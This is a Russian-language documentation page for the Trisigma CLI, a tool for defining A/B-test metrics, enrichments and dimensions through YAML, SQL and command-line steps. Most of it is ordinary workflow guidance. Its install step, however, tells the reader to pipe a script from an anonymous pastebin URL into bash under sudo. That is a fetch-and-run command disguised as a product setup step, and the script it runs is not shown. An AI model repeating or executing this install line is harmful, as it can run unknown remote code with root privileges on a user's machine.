Практический Workflow#
Пошаговая инструкция создания метрики от идеи до продакшена.
Предварительные требования#
0. Получите доступ к репозиторию#
Если у вас еще нет доступа к репозиторию метрик, обратитесь в канал Trisigma Support Channel или к команде Trisigma для настройки доступа.
Подробнее об интеграции: см. документацию по настройке репозитория.
1. Установите Trisigma CLI#
sudo curl -sSL https://pastebin.com/raw/JwywS2A8 | tr -d '\r' | bash
trisigma init
2. Клонируйте репозиторий#
git clone git@github.com:<your-company>/<your-company>_ab_metrics.git ~/projects/ab-metrics
cd ~/projects/ab-metrics
3. Проверьте доступ#
trisigma sl validate
Сценарий 1: Простая метрика#
Задача: Метрика "Конверсия в телефонный звонок"#
Измеряем долю пользователей, кто позвонил после просмотра объявления.
Шаг 1: Создайте ветку#
trisigma sl task AB-1234 "Добавление метрики phone_call_rate"
Шаг 2: Выберите source#
trisigma sl list-sources
trisigma sl compile --source buyer_stream
Убедитесь что source содержит необходимые колонки: cookie_id, eid, event_date.
Шаг 3: Создайте метрику#
Создайте metrics/phone_call_conversion.yaml:
definitions:
- &is_item_view {eid: 303}
- &is_phone_call {eid: 315}
metric.counter:
item_views: {filter: *is_item_view, obs: [events_count]}
phone_calls: {filter: *is_phone_call, obs: [events_count]}
metric.uniq:
item_viewers: {counter: item_views, key: [cookie_id]}
phone_callers: {counter: phone_calls, key: [cookie_id]}
metric.ratio:
phone_call_rate: {num: phone_callers, den: item_viewers}
Шаг 4: Привяжите к source#
Откройте sources/sources.yaml:
buyer_stream:
metric_configs:
- buyer_stream
- phone_call_conversion # Добавили
Шаг 5: Валидируйте#
trisigma sl validate
Если есть ошибки:
trisigma sl validate --ai-explain
Шаг 6: Проверьте SQL#
trisigma sl compile --metrics phone_call_rate
Шаг 7: Сохраните#
trisigma sl save -m "AB-1234: Добавил метрику phone_call_rate"
Шаг 8: Опубликуйте PR#
trisigma sl publish
Шаг 9: Review и merge#
- Откройте PR по ссылке
- Автоматически запустится билд валидации
- Результаты валидации отобразятся в комментариях к PR
- Дождитесь review
- После апрува используйте команду
run mergeв комментариях PR - Попросите merge в Trisigma Support Channel, если возникли проблемы
Шаг 10: Проверка после merge#
После успешного мерджа:
- Перейдите в Реестр метрик
- Найдите вашу метрику
- Проверьте сгенерированный SQL
- Убедитесь, что логика расчета соответствует ожиданиям
Сценарий 2: Метрика с enrichment#
Задача: Метрика "DAU по сегментам покупателя"#
Измеряем активных пользователей с разбивкой по сегментам (seeker/offerer).
Шаг 1: Проверьте enrichment#
trisigma sl list-sources
trisigma sl compile --source buyer_stream --dimensions buyer_segment
Если buyer_segment доступен, переходите к созданию метрики.
Если enrichment отсутствует, создайте enrichments/buyer_segment.yaml:
buyer_segment_cookie:
sql: |
SELECT cookie_id, event_date, buyer_segment
FROM dma.v_buyer_segments
WHERE {{ pushdown_filter(cookie_id='cookie_id') }}
AND event_date BETWEEN :first_date AND :last_date
join_key: [cookie_id, event_date]
Шаг 2: Создайте метрику#
Создайте metrics/dau_by_segment.yaml:
definitions:
- &is_seeker {buyer_segment: 'seeker'}
- &is_offerer {buyer_segment: 'offerer'}
metric.counter:
seeker_events: {filter: *is_seeker, obs: [events_count]}
offerer_events: {filter: *is_offerer, obs: [events_count]}
metric.uniq:
dau_seekers: {counter: seeker_events, key: [cookie_id]}
dau_offerers: {counter: offerer_events, key: [cookie_id]}
Шаг 3: Привяжите к source#
buyer_stream:
metric_configs:
- buyer_stream
- dau_by_segment # Добавили
Шаг 4: Валидируйте и проверьте#
trisigma sl validate
trisigma sl compile --metrics dau_seekers --dimensions buyer_segment
Enrichment применится автоматически, т.к. метрика использует buyer_segment.
Сценарий 3: Dimension с enrichment#
Задача: Добавить dimension "Источник трафика"#
Шаг 1: Создайте enrichment#
Создайте enrichments/traffic_source.yaml:
traffic_source_cookie:
sql: |
SELECT cookie_id, event_date, traffic_source_id
FROM dma.v_traffic_sources
WHERE {{ pushdown_filter(cookie_id='cookie_id') }}
AND event_date BETWEEN :first_date AND :last_date
join_key: [cookie_id, event_date]
Шаг 2: Создайте dimension#
Добавьте в dimensions/dimensions.yaml:
traffic_source:
has_id: true
description: "Источник трафика (organic, paid, direct)"
Шаг 3: Создайте справочник#
Создайте dimensions/sql/traffic_source.sql:
SELECT
source_name as value,
source_id as value_id
FROM dma.d_traffic_sources
WHERE is_active = true
Шаг 4: Валидируйте#
trisigma sl validate
Шаг 5: Проверьте использование#
trisigma sl compile --metrics daily_active_users --dimensions traffic_source
Сценарий 4: Calculated Fields#
Задача: Добавить поле "Возраст объявления в часах"#
Когда нужно использовать вычисляемое поле в метриках и dimensions.
Шаг 1: Определите calculated field#
В файле enrichment добавьте:
item_attr_log:
sql: |
SELECT item_id, event_date, sort_time, event_datetime
FROM dma.item_attr_log
WHERE {{ pushdown_filter(item_id='item_id') }}
join_key: [item_id, event_date]
calculated_fields:
item_age_hours: date_diff('hour', sort_time, event_datetime)
Шаг 2: Используйте в метрике#
metric.counter:
fresh_item_views:
filter: [item_age_hours.<: 24, eid: 303] # Объявления младше 24 часов
obs: [events_count]
metric.uniq:
fresh_item_viewers:
counter: fresh_item_views
key: [cookie_id]
Шаг 3: Валидируйте#
trisigma sl validate
trisigma sl compile --metrics fresh_item_viewers
Быстрая справка команд#
Управление задачами#
# Создание ветки
trisigma sl task AB-1234 "Описание"
# Статус
trisigma sl status
Валидация и компиляция#
# Валидация
trisigma sl validate
trisigma sl validate --ai-explain
# Компиляция source
trisigma sl compile --source buyer_stream
# Компиляция метрик
trisigma sl compile --metrics daily_active_users
trisigma sl compile --metrics conversion_rate --dimensions platform
# Режим watch (автоматическая перекомпиляция при изменениях)
trisigma sl compile --source buyer_stream --watch
Списки#
trisigma sl list-sources
trisigma sl list-dimensions
trisigma sl list-metrics
Git операции#
trisigma sl save -m "AB-1234: Описание изменений"
trisigma sl publish
Частые проблемы#
1. Валидация не проходит: колонка не найдена#
Error: column 'cookie_id' not found in source
Решение: Проверьте SQL source или enrichment:
trisigma sl compile --source my_source
Убедитесь, что колонка присутствует в SELECT.
2. Metric ссылается на несуществующий counter#
Error: metric 'buyers' references counter 'purchases' which doesn't exist
Решение: Определите counter в том же файле:
metric.counter:
purchases: {filter: [eid: 500], obs: [events_count]}
metric.uniq:
buyers: {counter: purchases, key: [cookie_id]}
3. Enrichment не применяется#
Причины:
- В source отсутствуют колонки из join_key
- Колонка enrichment не используется в метрике или dimension
Решение: Проверьте:
trisigma sl compile --source buyer_stream
Убедитесь, что все колонки из join_key присутствуют в source:
buyer_segment_cookie:
join_key: [cookie_id, event_date] # ОБА поля должны быть в source
4. Циклическая зависимость enrichments#
Error: circular dependency detected: enrichment_a -> enrichment_b -> enrichment_a
Решение: Пересмотрите join_key в enrichments, чтобы избежать циклов.
5. Dimension справочник не найден#
Error: dimension 'my_dimension' is missing SQL file
Решение: Создайте файл dimensions/sql/my_dimension.sql со справочником.
6. Несоответствие типов для has_id#
Error: dimension 'platform' has has_id=True but column 'platform' is not integer type
Решение:
- Убедитесь, что колонка имеет суффикс _id: platform_id
- Или измените has_id: false, если это не ID-поле
Чеклист перед PR#
- Создана ветка через
trisigma sl task - Выбран подходящий source (или создан новый)
- Создан файл метрики (или enrichment/dimension)
- Метрика привязана к source в
sources.yaml - Валидация прошла (
trisigma sl validate) - SQL проверен (
trisigma sl compile --metrics) - Tested with dimensions (
trisigma sl compile --metrics X --dimensions Y) - Сохранено (
trisigma sl save -m "AB-XXXX: описание") - PR опубликован (
trisigma sl publish)
Следующие шаги#
Документация#
- Концепции — как работает семантический слой
- Sources — таблицы фактов
- Enrichments — автоматическое обогащение
- Metrics — логика расчета метрик
- Dimensions — разрезы
Инструменты#
- Trisigma CLI — документация CLI
- Реестр метрик — просмотр метрик
Поддержка#
- Trisigma Support Channel — общие вопросы по платформе
- Trisigma Team Channel — вопросы по метрикам и семантическому слою